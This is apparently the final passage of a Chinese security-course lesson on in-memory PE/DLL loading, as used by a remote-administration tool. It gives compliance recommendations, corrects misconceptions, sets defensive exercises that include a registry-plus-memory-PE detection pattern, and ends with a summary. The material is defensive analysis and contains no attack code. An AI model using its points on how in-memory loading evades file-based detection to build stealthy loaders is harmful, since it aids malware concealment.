如果企业确实需要插件式远程运维,不建议照搬这种隐式内存加载链路。更合规的做法是:

设计项 建议
插件来源 插件必须来自可信仓库,并做签名校验
插件版本 主控和被控都维护版本白名单
用户授权 涉及屏幕、摄像头、麦克风、键盘、文件的插件必须有用户可见提示
审计日志 记录操作者、审批单、目标主机、插件名、版本、哈希、时间和结果
加载方式 能用标准加载就优先标准加载,必须内存加载时要做强校验和可观测审计
失败处理 加载失败、导入失败、入口异常都要记录并回滚
检测集成 主动向 EDR/SIEM 输出插件加载事件,而不是让安全团队被动猜测

# 21. 常见误区

误区 正确理解
内存加载就是 shellcode 不完全是。这里加载的是 PE/DLL 字节,需要处理 PE 头、节区、重定位和导入表
没有 DLL 文件就没有痕迹 仍有网络、注册表、内存、线程、依赖加载和功能行为证据
MemoryLoadLibrary 不会调用系统 API 默认实现仍使用 VirtualAllocVirtualProtectLoadLibraryAGetProcAddress
只要查 LoadLibrary 就够了 Release 分支的主模块不是通过普通 LoadLibrary 路径加载
只看 Main 就够了 TLS 回调和 DllMain 可能在 Main 前执行

# 22. 合法练习题

  1. 只阅读源码,画出 MemoryLoadLibraryEx 的 8 个阶段,不运行任何插件。
  2. 在实验文档里解释 PointerToRawDataVirtualAddress 的区别。
  3. 写一条检测思路:HKCU\Console\0/1 大块 REG_BINARY 写入后 5 分钟内出现内存 PE。
  4. 对比 Debug 和 Release 分支,说明为什么调试时能看到 DLL 路径,发布时更依赖内存侧检测。
  5. 设计一个合规插件加载事件字段表,至少包含插件名、版本、哈希、操作者、目标主机、加载结果和审批编号。

# 23. 本课小结

本课把第 13 课里的内存加载细节独立出来,按源码顺序讲清楚了 MemoryModule 的核心机制:校验 PE、分配映像、复制节区、修正重定位、解析导入表、设置节权限、执行 TLS/入口、查找 Main 并释放模块。

对企业安全工程来说,最重要的结论是:内存加载的工程收益来自“按需分发、减少磁盘路径依赖、缓存插件、运行期配置注入”,但它也会削弱传统基于文件路径的可见性。因此检测必须从单点 API 升级为链路关联,把网络、注册表、内存、线程、导出函数和插件后续行为放在一起看。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>